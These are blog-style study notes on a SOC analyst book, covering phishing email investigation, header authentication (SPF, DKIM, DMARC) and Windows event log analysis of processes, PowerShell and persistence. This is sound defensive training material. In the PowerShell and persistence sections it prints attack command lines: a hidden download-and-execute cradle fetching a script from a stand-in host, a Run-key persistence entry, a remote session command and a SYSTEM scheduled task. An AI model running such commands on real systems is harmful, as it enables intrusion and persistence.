L1 Week 6-7: Effective Threat Investigation for SOC Analysts

Study notes on Mostafa Yahia's "Effective Threat Investigation for SOC Analysts".

Posted Jul 13, 2026

By Yousef

34 min read

L1 Week 6-7: Effective Threat Investigation for SOC Analysts

Source: Effective Threat Investigation for SOC Analysts - Mostafa Yahia

Part 1 — Email Investigation Techniques (Ch. 1–2)
Part 2 — Investigating Windows Threats by Using Event Logs (Ch. 3–7)

Part 1: Email Investigation Techniques

Chapter 1: Investigating Email Threats

1. Top Infection Vectors

Initial-access techniques attackers use once recon + weaponization is done:

Phishing emails (attachment or link)
Exploiting public-facing applications
Drive-by compromise (luring to a compromised website)
Stealing valid remote-access credentials (VPN, RDP)

Exam tip: Per the IBM Security X-Force Threat Intelligence Index 2022, ~41% of attackers prefer phishing (weaponized document or malicious link) as the initial access vector — the single most common IAV.

Why attackers prefer phishing for initial access

Reason	Detail
Easy target recon	Email lists gathered via job postings, LinkedIn, third-party subscriptions, dark-web leaks, Wayback Machine/Archive.org, marketing data platforms (e.g., ZoomInfo.com)
Easy weaponization	Malware uploaded to legit cloud platforms + link shared; documents weaponized via VBA macros; executables sent compressed
Low user awareness	Many users lack security-awareness training

2. Email Threat Types

Four common external email threat types:

Spearphishing attachment — malicious attachment sent to gain initial access or harvest credentials.

Phishing vs. spearphishing: Phishing = mass, random targeting. Spearphishing = targeted/personalized at a specific individual/org.

Phishing attachment types (5 most common):

Type	Notes
Malicious MS Office docs (Excel/Word/PPT)	Most common — weaponized via VBA macros; exploits known Office app vulns
Malicious PDF files	Embeds malicious JavaScript; links/images/fonts increase legitimacy
Compressed files (.rar/.7z/.zip)	Contains executable malware; victim extracts + runs
ISO images	Rising trend; bypass file filters & AV since treated like disc images
HTML files	Impersonate login pages (Microsoft, DHL, bank) to harvest credentials

Spearphishing link — malicious link to harvest credentials or deliver malware for execution.

Phishing link types:

Credential harvesting link — fake login page hosted on attacker domain or abused legit hosting (e.g., appspot.com, web.app).
Case: 2014 — a US financial services company was breached via a fake VPN login page, exposing tens of millions of households’ and small businesses’ data.
Malware download link — malware hosted on attacker server or legit cloud storage (MEGA, OneDrive, Dropbox).
Case: 2017 — a global law firm was hit via a phishing email referencing a real-estate matter; malware spread network-wide, files were encrypted, and a ransom was demanded.

Blackmail email (“sextortion”) — attacker claims to have compromised the victim’s machine and exfiltrated sensitive/sexual content, demands Bitcoin payment, and threatens to publish the data.

Methods used to “prove” infection:

Screenshots of breached data/desktop — obtained via infostealer malware or purchased from dark-web leak stores.
Spoofing the victim’s own email address — makes it look like the attacker sent the email “from” the victim’s own account, implying compromise (pure scam, no real access).

Business Email Compromise (BEC) — targets individuals with access to financial info (executives, finance staff); tricks them into fraudulent wire transfers. Often uses email thread hijacking or spoofs a trusted partner/executive domain.

Case — Gold Galleon (Nigerian cybercrime group, reported by the US DOJ in 2018): compromised employee mailboxes at maritime shipping companies and used email thread hijacking to redirect cargo payments to new bank accounts. Stole $1M+ in one case; targeted 100+ shipping companies across the US, Europe, and Asia, with losses in the tens of millions.

3. Attacker Techniques to Evade Email Security Detection

Technique	Mechanism
Newly created sender domains	Bypasses reputation-based threat-intel blocklists (no malicious history yet)
Non-blacklisted SMTP server IPs	Same logic — fresh, clean-reputation sending infra
Sandbox evasion	See below
Trusted domains hosting phishing pages	Abuse of `appspot.com`, `web.app` subdomains (SSL-issuing, high trust) — first observed by researchers in 2019 targeting Outlook/Dropbox brands

Sandbox evasion sub-techniques:

Malware sleep — delay malicious activity (e.g., sleep ≤3 min post-execution) until after the sandbox’s analysis window ends.
Encrypted file — password-protected archive/doc shared via the email body; sandbox submission is non-interactive, so the password can’t be supplied, causing the sandbox to fail analysis while the file passes undetected.
Sandbox discovery — malware checks for a VM environment, analysis tools, or abnormal user activity; if a sandbox is detected, it halts, sleeps, or alters behavior.
Responding to specific requests — only responds to requests from IPs collected during recon of the real victim environment (targeted attacks).

Email spoofing — impersonate a trusted sender domain to convince the victim of legitimacy (e.g., an attacker targeting an ABC Bank employee spoofs XYZ Bank, a known business partner). A real-world case involved spoofing the US IRS domain.
Email thread hijacking — attacker compromises victim1@organization.com, spots an existing thread with target@targetorg.com, then replies from a lookalike domain (e.g., organization.co vs organization.com) to continue the thread undetected and request actions (bank detail changes, transfers, attachment execution). Commonly used in BEC.
Phishing pages on trusted SSL-issuing hosts — abusing dynamic DNS or cloud app domains (appspot.com, web.app) that show the “green padlock,” exploiting user trust in HTTPS.

5. Anatomy of Secure Email Gateway (SEG) Logs

SEG log types:

Log type	Contents
SMTP logs	Sender IP, recipient address, timestamps
Message tracking logs	Message ID, sender, recipient, subject, date/time
Content filtering logs	Applied filter rules, content nature, block/allow
Spam & malware logs	Flagged spam / detected malware emails
Quarantine logs	Quarantined message metadata + reason

Common SEG log fields (vendor-agnostic):

Field	Investigative use
SMTP server IP	Check blacklists, spoofing indicator
Sender email address	Check blacklisted domain; may be spoofed
Recipient email address	Scope affected users/machines
Email subject	Attacker uses urgency phrases like “Urgent Action Required” or “Confirm your Account Details”; check subject relevance to recipient’s job role
Attached filename	Common lures: purchase order, important note, invoice
Attached file hash	Hunt via threat-intel feed (e.g., VirusTotal) even absent detection
Malware category	Malware family name if signature match (e.g., ZLoader, RedLine Infostealer)
Attached URL	URL(s) in email body, logged fully or only on blacklist match
Device action	Whether the malicious mail reached the end user
Block reason	Why SEG blocked the message

6. Investigating Suspicious Emails — Full Workflow

Complete all subsections below, even if confident early on:

Email sender domain & SMTP server reputation
Spoofing validation
Email sender behavior
Email subject & attached filename
Suspicious email content (attachments/URLs)

6.1 Sender domain & SMTP reputation

Search-engine query on domain reputation → threat reports/tweets vs. legitimate business relationship vs. no history (newly created = more suspicious).
Public mail domains (Gmail, Yahoo) are also abused due to easy signup + clean reputation.
Tool: MxToolbox (mxtoolbox.com) — checks sender domain/IP against 82 known blacklists.

6.2 Spoofing validation

Validate that the sender domain used its authorized SMTP server to send the message.

Extract the actual sending SMTP server IP from SEG logs.
Look up the claimed domain’s MX record via MxToolbox MX Lookup to get authorized sending servers (MX record preference value = priority; lowest number = highest priority).
WHOIS the actual sending IP (e.g., via Domain Tools) and compare it against the authorized MX infrastructure.
A mismatch confirms spoofing.

Worked example: an email claims to be from fedex.com, sent from IP 95.211.214.81. FedEx’s authorized MX servers are mapper.gslb.fedex.com and mxa-0002ee02.gslb.pphosted.com. WHOIS of 95.211.214.81 is unrelated to any authorized server — confirmed spoofing.

6.3 Email sender behavior

Has the recipient received mail from this sender/domain before? (history = more likely benign)
Same subject formula sent to multiple recipients across departments? → likely phishing/spam campaign
Is the subject relevant to the recipient’s job duties? (mismatch = suspicious)

Passing all prior checks can also mean a legitimate but compromised sender is being used to pivot to new victims — content analysis is still required.

6.4 Email subject & attached filename keywords

Subject lures: RE:, FW:, Invoice, Missing Inv, New Message from, New scanned, You have a New Message, Verification Required, Action Required
Filename lures: invoice, order, contract, payment, offer, planning, SWIFT

6.5 Investigating suspicious email content

URL analysis — URL Scan:

Public mode (visible to others) vs. private mode; searchable history of public scans.
Reports the targeted brand — if it matches your org, this indicates your org is under active attack.

File analysis — ANY.RUN sandbox:

Interactive online sandbox; submit a file or URL; controllable VM in real time.
Key tabs: HTTP Requests (external comms, server reputation), Connections, DNS Requests, Threats (IDS signature matches).

⚠️ Never submit sensitive or organization-identifying attachments to public cloud sandboxes — risk of data leakage.

Worked example: VISA PAYMENT (1).xls (password-protected) → excel.exe drops UkMes.bat → spawns cmd.exe → spawns powershell.exe with a long base64-encoded argument. Decode with CyberChef. Threat score 100/100 — legitimate interpreter (powershell.exe) but a malicious command-line argument; behavior showed discovery activity (hostname, language, install date enumeration).

Chapter 2: Email Flow and Header Analysis

1. Email Flow — The Hops

Component	Role
MUA (Mail User Agent)	Client used to send email (Outlook, webmail via browser)
MSA (Mail Submission Agent)	Receives email after client submission
MTA (Mail Transfer Agent)	AKA SMTP relay server; routes between MTAs to the recipient’s MX
MX (Mail Exchange)	Receives mail for a domain; identified by a DNS MX record; domains may have multiple MX for load-balancing
MDA (Mail Delivery Agent)	Delivers authenticated mail to the recipient’s mailbox

Sender MUA → MSA → MTA(s) → recipient's MX → MDA → Recipient MUA

Every hop appends a header containing (at minimum) the server hostname, server IP, and processing date/time.

2. Email Header Analysis — Read Bottom → Top

Headers are prepended in reverse chronological order — analyze from the bottom (message content) up to the top (most recent hop).

How to obtain the header:

Outlook: File → Info → Properties
Gmail web: More → Show original
Or from the SEG appliance logs

Four subsections of the header:

Email message content and metadata
Email X-headers
Hop server headers
Email authentication

2.1 Message content & metadata fields

Field	Meaning
`Date`	Timestamp of send (UTC by default; MUA-dependent)
`From`	Sender display name + address — spoofable
`Return-Path`	Bounce/error address; compare to sender mailbox — mismatch = spoofing indicator
`To`	Recipient(s)
`Message-ID`	Unique ID, ends in sending server’s FQDN; trackable across SMTP/SEG logs
`Subject`	Sender-written subject
`MIME-Version`	Always `1.0` (only defined version)
`Content-Type`	Content types in the message (text/audio/documents)
`Content-Transfer-Encoding`	Encoding method for MIME/body transfer
`References`	List of all Message-IDs in the thread (original + replies) — tracks the full conversation
`Content-Length`	Non-standard; body size in bytes (e.g., added by Yahoo)

2.2 Email X-headers

Custom, non-RFC-standard headers added by mailbox providers.

X-Header	Meaning
`X-Mailer`	Email client used — helps flag unusual clients (scripts, hacking tools)
`X-YMail-OSG`	Yahoo Mail Outbound Spam Guard
`X-Sonic-MF`	Sender address reference (Yahoo-specific, undocumented)
`X-SONIC-DKIM-SIGN`	Yahoo’s custom DKIM signature field
`X-Originating-IP`	Origin device IP — used for spam filtering/tracking

2.3 Hop server headers (Received:)

Each hop appends a Received: header. Example chain (yahoo.com → gmail.com):

MSA hop: sonic.gate.mail.ne1.yahoo.com → sonic303.consmr.mail.ne1.yahoo.com via HTTP.
MX hop: sonic303-21.consmr.mail.ne1.yahoo.com (IP 66.163.188.147) → mx.google.com via ESMTP.
MDA hop: final delivery confirmation to mostafayahia753@gmail.com.

Convert all timestamps to a common timezone (e.g., -0700 PDT → UTC) before building a timeline.

3. Email Authentication

Domain owner defines authentication rules/records, publishes them in DNS.
Receiving server authenticates incoming mail against those published records.
Receiving server applies the domain’s policy (deliver/quarantine/reject) based on the result.

Sender Policy Framework (SPF)

DNS TXT record listing IPs/hostnames authorized to send for the domain.

v=spf1 ip4:192.168.1.0/24 -all

Token	Meaning
`v=spf1`	SPF version
`ip4:192.168.1.0/24`	Authorized sending IP range
`-all`	Hard fail — reject on mismatch
`~all`	Soft fail — mark as potential spam, don’t reject
`?all`	Neutral — no preference
`+all`	Pass any sender — least secure, not recommended
`-` (hyphen alone)	No policy defined → treated neutral

Receiving server: sending IP matches SPF-listed IP → pass; else fail/blocked.

DomainKeys Identified Mail (DKIM)

Digital signature added to headers. The domain publishes a public key as a DNS TXT record; the sender signs with a private key.

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com;
s=s2048; t=1664539473; bh=<body-hash>; h=Date:From:To:Subject:...; b=<signature>

Field	Meaning
`v`	DKIM version (always `1`)
`a`	Hash + encryption algorithm (e.g., `rsa-sha256`)
`c`	Canonicalization algorithm for header/body — `relaxed/relaxed` (tolerant of whitespace/non-essential header changes) or `simple/simple` (only strips trailing whitespace, preserves formatting)
`d`	Claimed signing domain — where the public key is looked up
`s`	Selector — used to build the DNS query, e.g. `s=s2048` → query `s2048._domainkey.yahoo.com`
`t`	Epoch signing timestamp
`bh`	Base64 hash of the canonicalized body
`h`	Colon-separated list of headers included in the signature
`b`	The signature itself

Signature generation steps:

Header + body canonicalized per c.
Headers listed in h hashed using the algorithm in a.
Hash signed/encrypted with the sender domain’s private key → digital signature.
Signature base64-encoded → placed in b.

Verification steps (receiving server):

Hash the message body (algorithm from a) → base64 → compare to bh. Match → continue.
DNS lookup using d + s to retrieve the public key (TXT record).
Decrypt b with the public key → yields the signed hash → compare to the hash of the headers listed in h (excluding b itself).
Match → DKIM valid/authentic. Mismatch → invalid → reject/mark spam.

DMARC (Domain-Based Message Authentication, Reporting, and Conformance)

Policy + reporting layer dependent on SPF and DKIM results. If either (or both) fail, DMARC applies the domain owner’s published policy and reports the violation.

v=DMARC1;p=reject;pct=100;rua=mailto:postmaster@test.com

Field	Meaning
`v`	DMARC version
`p`	Policy on failure: `quarantine` (junk folder), `reject` (block), `none` (no action)
`pct`	% of failing mail subjected to policy (1–100); remainder falls to the next lower policy
`rua`	Mailbox URI receiving DMARC aggregate reports

4. Investigating a Spoofed Message’s Header — Worked Example

Scenario: an email purports to be from fedex.com → mostafayahia753@gmail.com and contains a malicious attachment.

Header analysis (bottom→top) shows the actual sending server: mailserver.footballticketnet.com.
Last hop in the sender’s environment: IP 95.211.214.81.
SPF: fail.
No DKIM signature present at all.
Conclusion: the attacker spoofed the fedex.com domain — confirmed by the combination of SPF fail, absent DKIM, and mismatched sending infrastructure.

Contrast with a legitimate, non-spoofed message: SPF pass + DKIM pass + DMARC pass is the expected signature of an authentic message.

Part 1 Quick Review

Key facts

~41% of attackers use phishing as an initial access vector (IBM X-Force TI Index 2022).
Email headers are built bottom-up — always analyze bottom to top.
Full authentication pass = SPF pass + DKIM pass + DMARC pass.
DMARC is dependent on SPF/DKIM — it has no independent cryptographic check of its own.

Protocol comparison

Protocol	Mechanism	Record type	Validates	Failure action source
SPF	Authorized sending IP list	DNS TXT	Sending server IP	`-all`/`~all`/`?all`/`+all` in the SPF record itself
DKIM	Cryptographic signature (private/public key pair)	DNS TXT (public key)	Message integrity + domain authenticity	No policy field — DKIM itself doesn’t reject, just signs pass/fail
DMARC	Policy + reporting, built on SPF+DKIM results	DNS TXT	Alignment/failure handling	`p=` field: `none`/`quarantine`/`reject`

Email hop chain

MUA → MSA → MTA → MX → MDA

Investigation tools referenced

Tool	Purpose	URL
MxToolbox	Blacklist check (82 lists), MX record lookup	mxtoolbox.com
Domain Tools	WHOIS lookup	whois.domaintools.com
URL Scan	URL analysis, brand-targeting detection	urlscan.io
ANY.RUN	Interactive file/URL sandbox	app.any.run
CyberChef	Decode/deobfuscate (e.g., base64 PowerShell args)	gchq.github.io/CyberChef
VirusTotal	File hash reputation / hunting	—

Header fields cheat sheet

Date · From · Return-Path · To · Message-ID · Subject · MIME-Version · Content-Type · Content-Transfer-Encoding · References · Content-Length · X-Mailer · X-Originating-IP · Received: (per-hop) · Received-SPF · Authentication-Results · DKIM-Signature · ARC-Seal / ARC-Message-Signature / ARC-Authentication-Results

Email threat types quick compare

Type	Vector	Goal
Spearphishing attachment	Malicious file (Office/PDF/archive/ISO/HTML)	Initial access / credential harvest
Spearphishing link	Malicious URL	Credential harvest / malware delivery
Blackmail (sextortion)	Spoofed “self-sent” email or real breach proof	Extortion (BTC payment)
BEC	Thread hijacking / domain spoofing targeting finance staff	Fraudulent wire transfer

Common phishing subject/filename lures

Subjects: RE: / FW: / Invoice / Missing Inv / New Message from / New scanned / Verification Required / Action Required
Filenames: invoice / order / contract / payment / offer / planning / SWIFT

Part 1 acronym list

Acronym	Meaning
ARC	Authenticated Received Chain
BEC	Business Email Compromise
DKIM	DomainKeys Identified Mail
DMARC	Domain-Based Message Authentication, Reporting, and Conformance
DNS	Domain Name System
ESMTP	Extended Simple Mail Transfer Protocol
FQDN	Fully Qualified Domain Name
IAV	Initial Access Vector
IDS	Intrusion Detection System
MDA	Mail Delivery Agent
MIME	Multipurpose Internet Mail Extensions
MSA	Mail Submission Agent
MTA	Mail Transfer Agent
MUA	Mail User Agent
MX	Mail Exchange
PDT	Pacific Daylight Time
SEG	Secure Email Gateway
SMTP	Simple Mail Transfer Protocol
SOC	Security Operations Center
SPF	Sender Policy Framework
TI	Threat Intelligence
TXT	Text (DNS record type)
UTC	Coordinated Universal Time
VBA	Visual Basic for Applications
VM	Virtual Machine

Part 2: Investigating Windows Threats by Using Event Logs

Chapter 3: Introduction to Windows Event Logs

Storage & Configuration

Default log path (Vista+): C:\Windows\System32\winevt\Logs
Configurable via registry: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\<EventLogName>

Windows Event Types

Security event log (most valuable for investigations)

Category	Records
Logon events	Every login (success/failure), logoff
Logon validation events	Credential validation — on DC (domain accounts) or local machine (local accounts)
Object access events	Access to shared files/folders/objects with a configured SACL
Account management events	Account creation, deletion, enable/disable, group additions, password changes
Privilege use events	Admin-privileged account logon success
Process tracking events	Process start/exit

System event log

Startup/shutdown/time changes
Windows services status (create/start/stop)
Windows Firewall status changes

Application event log

Events logged by apps configured to use the Windows Application log (AV, DB, etc.)

Other notable log files

Log	Content
PowerShell logs (2 files)	Execution, command-line args, full scripts
Scheduled tasks logs	Creation, start, stop
RDP logs	Remote Desktop Protocol connection tracking
WMI logs	WMI event consumer creation

A default Windows 10/11 install can contain 300+ event log files (336 cited on a clean Win11 install).

Windows Event Log Analysis Tools

Tool	Type	Use
Event Viewer	Built-in GUI	Live-machine analysis; export CSV/EVTX/TXT/XML
PsLogList (Sysinternals)	CLI	Dump live logs to TXT/CSV/EVTX/EVT
Event Log Explorer	Third-party GUI	Offline `.evt`/`.evtx` analysis, filtering, free for personal use
EvtxECmd (Eric Zimmerman)	CLI	Parses `.evtx`; filter by time/Event ID/account; outputs CSV/XML/JSON

Investigative Approach Used in This Part of the Book

Mordor security dataset — pre-recorded events from simulated adversary techniques (securitydatasets.com).
HELK (The Hunting ELK) — open-source SIEM used to ingest Mordor data (github.com/Cyb3rWard0g/HELK), with Kibana as the GUI.
Lab requirements: 6GB+ RAM, 4+ cores, NAT/bridged VM networking, Ubuntu 18.04, 20GB+ disk.

Windows Account Types

Standard accounts — normal user accounts (local or domain); limited privileges; compromise impact is contained.

Default local system accounts:

Account	Privilege level	Notes
SYSTEM	Highest — full system control	Runs most high-privilege services
NETWORK SERVICE	Limited (like standard)	Presents computer credentials to remote servers
LOCAL SERVICE	Limited	Uses null sessions for network comms (no credential presentation)
`<COMPUTERNAME>$`	Computer account	Created on domain join; authenticates the computer itself
ANONYMOUS LOGON	Null session account	Can enumerate account info, security policy, registry, shares depending on config

Tracking Successful Logins — Event ID 4624

“An account was successfully logged on”

Sections: Subject (usually empty/not useful) · Logon Information (incl. Logon Type) · New Logon (Account Name, Account Domain, Logon ID) · Process Information · Network Information (source system for remote logons — key for lateral movement, see Ch. 7)

Logon Type table

Type	Meaning
2	Interactive (keyboard)
3	Network (e.g., SMB share access)
4	Batch (e.g., scheduled tasks)
5	Windows service logon
7	Unlock screen
8	Network logon, cleartext credentials
9	Alternate credentials (RunAs, alt-cred share access)
10	Remote interactive (RDP)
11	Cached credentials (DC unreachable)
12	Cached credentials, remote (10+11 combined)
13	Cached credentials to unlock screen

Account Domain field == computer name → local account.

Anomaly indicators via 4624: RDP into workstations from other workstations/public IPs; logins outside working hours; unauthorized share access.

Tracking Successful Admin Logins — Event ID 4672

“Special privileges assigned to new logon” — always paired with a preceding 4624 for the same admin session.

Tracking Logon Sessions

Logon ID (from 4624) is unique per session; correlates across most Security-log events for that session (process execution, object access, etc.).
Useful for interactive types (2, 10, 11, 12); not useful for type 3 (starts/ends instantly).
Session duration = correlate start (4624/4672) with end (4634/4647) sharing the same Logon ID.

Tracking Failed Logins — Event ID 4625

“An account failed to log on”

Adds a Failure Information section: Failure Reason (text) / Status (hex) / Sub Status (hex, most specific reason).

Status/Sub Status codes

Code	Meaning
0XC000005E	Logon servers not available
0xC0000064	Username does not exist
0xC000006A	Misspelled/bad password
0XC000006D	Bad username or auth info
0XC000006E	Valid creds, but account restriction prevented auth
0xC000006F	Logon outside authorized hours
0xC0000070	Unauthorized workstation
0xC0000071	Password expired
0xC0000072	Disabled account
0XC00000DC	SAM server in wrong state
0XC0000133	Clock skew between DC and computer
0XC000015B	Logon type not granted on this machine
0XC000018C	Trust relationship failed
0XC0000192	Netlogon service not started
0xC0000193	Expired account
0XC0000224	Password change required at next logon
0XC0000225	Known Windows bug, not a risk
0xC0000234	Account locked
0XC00002EE	Generic login error
0XC0000413	Blocked by authentication firewall

Exam tip: Password brute-force = many failures against one account. Password spraying = few common passwords tried against many accounts from the same source.

Account lockout — Event ID 4740 “A user account was locked out” — Subject = account that performed the lockout (often the computer account, e.g. WIN-SOC2$); check the domain field to determine if the target is local.

Recorded by the authenticating system (DC for domain accounts; local machine/SAM for local accounts) — distinct from logon events (recorded on the machine being logged into).

NTLM protocol — Event ID 4776 — success/failure credential validation; Error Code values map 1:1 to the 4625 Sub Status codes.

Kerberos protocol

Event ID	Meaning
4768	TGT (Ticket Granting Ticket) created — successful auth
4769	Service ticket (TGS) granted — successful auth to access a resource
4771	Kerberos pre-authentication failed

4771 failure codes

Code	Meaning
0x6	User doesn’t exist
0x9	Password must be reset
0x12	Disabled / expired / locked / out of hours
0x17	Password expired
0x18	Wrong password
0x20	Ticket expired
0x25	Workstation clock out of sync with DC

Account & Group Management Tracking

Account creation/deletion/change events

Event ID	Meaning
4720	User account created
4722	User account enabled
4723	Password change attempt
4724	Password reset attempt
4725	User account disabled
4726	User account deleted
4738	User account changed
4740	User account locked out
4767	User account unlocked

Security group membership events

Event ID	Meaning
4728	Member added to security-enabled global group
4729	Member removed from security-enabled global group
4732	Member added to security-enabled local group
4733	Member removed from security-enabled local group
4756	Member added to security-enabled universal group
4757	Member removed from security-enabled universal group

Group creation/deletion events

Event ID	Meaning
4727 / 4730	Global group created / deleted
4731 / 4734	Local group created / deleted
4754 / 4758	Universal group created / deleted

Attacker pattern: create account (4720) → add to a privileged group like Domain Admins (4728) = persistence + privilege escalation combo.

Chapter 5: Investigating Suspicious Process Execution Using Windows Event Logs

Process Basics

Every process has: process name, process ID (PID), process path, username (security context), command-line arguments, and parent process.

Standard Windows Processes — Expected Behavior Baseline

Process	Path	User	Instances	Parent
`System`	N/A (kernel-mode)	SYSTEM	1	N/A
`smss.exe`	`%Systemroot%\System32\smss.exe`	SYSTEM	1 master + 1/session	System
`csrss.exe`	`%Systemroot%\System32\csrss.exe`	SYSTEM	1/session	N/A (from smss, not shown as parent)
`wininit.exe`	`%Systemroot%\System32\wininit.exe`	SYSTEM	1	N/A (from smss)
`services.exe`	`%Systemroot%\System32\services.exe`	SYSTEM	1	wininit.exe
`svchost.exe`	`%Systemroot%\System32\svchost.exe`	SYSTEM/LOCAL SERVICE/NETWORK SERVICE	many	services.exe
`RuntimeBroker.exe`	`%Systemroot%\System32\RuntimeBroker.exe`	logged-in user	1+	svchost.exe
`lsass.exe`	`%Systemroot%\System32\lsass.exe`	SYSTEM	1	wininit.exe
`winlogon.exe`	`%Systemroot%\System32\winlogon.exe`	SYSTEM	1/interactive login	N/A (from smss)
`LogonUI.exe`	`%Systemroot%\System32\LogonUI.exe`	SYSTEM	1+	winlogon.exe
`explorer.exe`	`%Systemroot%\explorer.exe`	logged-in user	1/interactive login	N/A

lsass.exe stores authentication credentials in memory — a prime target for credential-theft attacks.

Tool: ECHOTRAIL (echotrail.io) — lookup expected process paths, top parent processes, and top hashes by process name/hash.

Windows Process Tracking Events

Event ID	Meaning
4688	New process created
4689	Process exited

Event ID 4688 sections

Creator Subject — user/session that initiated the new process
Target Subject — owner of the new process context (empty if same as Creator Subject)
Process Information — most valuable section:
- New Process ID / New Process Name (full path)
- Token Elevation Type — %%1936 (Type 1, full token — UAC disabled or built-in accounts), %%1937 (Type 2, elevated — UAC + “Run as admin”), %%1938 (Type 3, limited — UAC enabled, no elevation requested)
- Mandatory Label (integrity level via SID/RID)

SID	RID	Meaning
S-1-16-0	0x0	Untrusted
S-1-16-4096	0x1000	Low integrity
S-1-16-8192	0x2000	Medium integrity
S-1-16-8448	0x2100	Medium/high integrity
S-1-16-12288	0x3000	High integrity
S-1-16-16384	0x4000	System integrity
S-1-16-20480	0x5000	Protected process

Creator Process ID / Creator Process Name (parent)
Process Command Line — NOT logged by default; enable via Group Policy: Administrative Templates → System → Audit Process Creation → “Include command line in process creation events”

Correlate 4688 (start) + 4689 (exit) on the same PID to get process runtime duration.

Investigating Suspicious Process Executions

1. Hiding in plain sight — malware named similarly to standard processes (Svch0st.exe, scvhost.exe, lssas.exe) or the same name from a wrong path/parent (e.g., svchost.exe running from C:\Windows instead of C:\Windows\System32, spawned by cmd.exe instead of services.exe).

2. Living Off The Land (LOTL) — using pre-installed legitimate binaries for malicious purposes to avoid dropping new tools.

Common LOTL binaries: powershell.exe, cmd.exe, Rundll32.exe, net.exe, adfind.exe, ipconfig.exe, reg.exe, wmic.exe

Resource: LOLBAS project — catalogs LOTL binaries + usage + MITRE ATT&CK mapping.

3. Suspicious parent-child process relationships

Scenario 1 (weaponized Office doc): excel.exe/winword.exe spawning rundll32.exe, mshta.exe, powershell.exe, or cmd.exe.
Scenario 2 (process injection): a legitimate process (e.g., svchost.exe, explorer.exe) is injected with malicious code, then spawns an unusual child (e.g., cmd.exe) — used for privilege escalation / AV evasion.
Case reference: The DFIR Report, “Dead or Alive: An Emotet Story,” Sept 2022.

4. Suspicious process paths

Common malicious locations: user profile paths, Temp folders.
Non-standard processes running from System32/SysWOW64 = red flag.
Attacker’s working directory — once found, track all process executions from that same directory (attackers tend to stage all tools/scripts in one place).

Process tree tracking: correlate New Process ID ↔ Creator Process ID across 4688 events to reconstruct the full execution chain.

Chapter 6: Investigating PowerShell Event Logs

Why Attackers Prefer PowerShell

Installed & whitelisted by default on all Windows systems
Generates few digital artifacts
Remote access over an encrypted channel
Large community + ready-made offensive frameworks: Nishang, PowerSploit, Empire, WinEnum
Blends into legitimate sysadmin activity
Usable across the entire attack chain

Symantec observed a 661% increase in malicious PowerShell use (H2 2017 → H1 2018), doubling Q1→Q2 2018. McAfee observed a 208% increase Q3→Q4 2021.

Threat actor / framework usage (via Picus Security): APT19 (Empire, Defense Evasion), APT32 (Nishang/PowerSploit), APT33 (PoshC2/PowerSploit/Empire, Persistence+C2), APT41 (PowerSploit, Persistence), CopyKittens/Hades/FIN7 (Empire), FIN10 (Empire, Persistence), menuPass (PowerSploit), MuddyWater (Empire/PowerSploit), TG-3390 (Nishang), Turla (Empire/Posh-SecMod/PowerSploit), WIRTE (Empire).

Sample Malicious Cmdlets by Objective

Objective	Command	Key flags
Execution	`powershell -w hidden -ep bypass -nop -c "IEX ((New-Object System.Net.Webclient).DownloadString('http://soctest.xyz/malware.ps1'))"`	`-w hidden` (hide window), `-ep bypass` (skip execution policy), `-nop` (no profile), `-c` (inline command), `IEX`/`Invoke-Expression` (execute string)
Persistence	`New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -PropertyType String -Name "socmalware" -Value "C:\Windows\temp\volnaf.exe"`	Registry Run key entry
Lateral movement	`Enter-PSSession -ComputerName 10.10.0.2 -Credential $credentials`	Remote interactive session

PowerShell Execution Tracking Events

Event ID	Log file	What it logs
800	Windows PowerShell (classic)	Command-line execution; enabled by default; all PS versions
4103	Microsoft-Windows-PowerShell/Operational	Executed modules/cmdlets (less detail than 4104)
4104	Microsoft-Windows-PowerShell/Operational	Full script block content (PS v5+); disabled by default but auto-logs suspicious blocks regardless

Event ID 4104 details

Long scripts split across multiple events labeled “Creating Scriptblock text (N of Total).”
All fragments of one script share the same ScriptBlock ID — reconstruct by ordering fragments with matching ID (manually, or via ExtractAllScripts.ps1).
Path field shows the script path if available.
Enable via Group Policy: Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell → “Turn on PowerShell Script Block Logging”

Additional (non-event-log) logging features

Feature	What it captures	Default	Storage
PSReadLine	Command history (like Linux `history`)	On	`C:\Users\[USERNAME]\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine` (TXT)
Transcripts	Full session I/O incl. errors, start time, username, machine, PS version	Off — start via `Start-Transcript`	User’s Documents folder (default)

Investigating PowerShell Attacks

Fileless PowerShell malware — runs directly in memory (no disk file) via a “PowerShell cradle”:

powershell.exe -ep bypass -nop -noexit -c iex ((New-Object Net.WebClient).DownloadString('http://soctest.xyz/malware.ps1'))

Find execution evidence in Event ID 800; reconstruct the downloaded/executed script from Event ID 4104.

Suspicious commands/cmdlets reference

Argument/Cmdlet	Meaning
`-NonInteractive` (`-noni`)	Suppress interactive shell prompt
`DownloadString`	Download URI content into a string variable (System.Net.WebClient)
`DownloadFile`	Download URI content into a file
`-ExecutionPolicy`/`-ep` (`Bypass`/`Unrestricted`)	Skip script signature/warning checks
`-EncodedCommand`/`-e`/`-enc`	Run a base64-encoded command (evasion)
`Invoke-Command`	Execute commands on remote systems
`Enter-PSSession`	Interactive remote PS session
`Invoke-WebRequest`	Download malware from remote server

Chapter 7: Investigating Persistence and Lateral Movement Using Windows Event Logs

Read Chapters 3–6 first — this chapter builds on that terminology and event ID coverage.

Persistence Techniques

1. Registry Run keys

Registry = hierarchical config DB; 5 hives — most relevant: HKCU (per-user) and HKLM (machine-wide).

Default run keys:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

Tracking events:

Event ID	Meaning
4656	Handle to an object requested
4657	Registry value modified (not enabled by default — requires SACL “Set Value” auditing)
4658	Handle to an object closed
4660	Object deleted
4663	Attempt to access an object

4656/4658/4660/4663 cover any object type (Object Type field: File/Key/SAM); filter on Key for registry. 4657 alone shows the actual new/modified value.

Hunting cues: an abnormal process (e.g., PowerShell.exe) touching run keys; access to run keys outside working hours.

2. Windows Scheduled Tasks

Created via GUI or schtasks.exe:

schtasks /create /tn mysc /tr C:\Users\Public\test.exe /sc ONLOGON /ru System

Real-world usage: APT3.

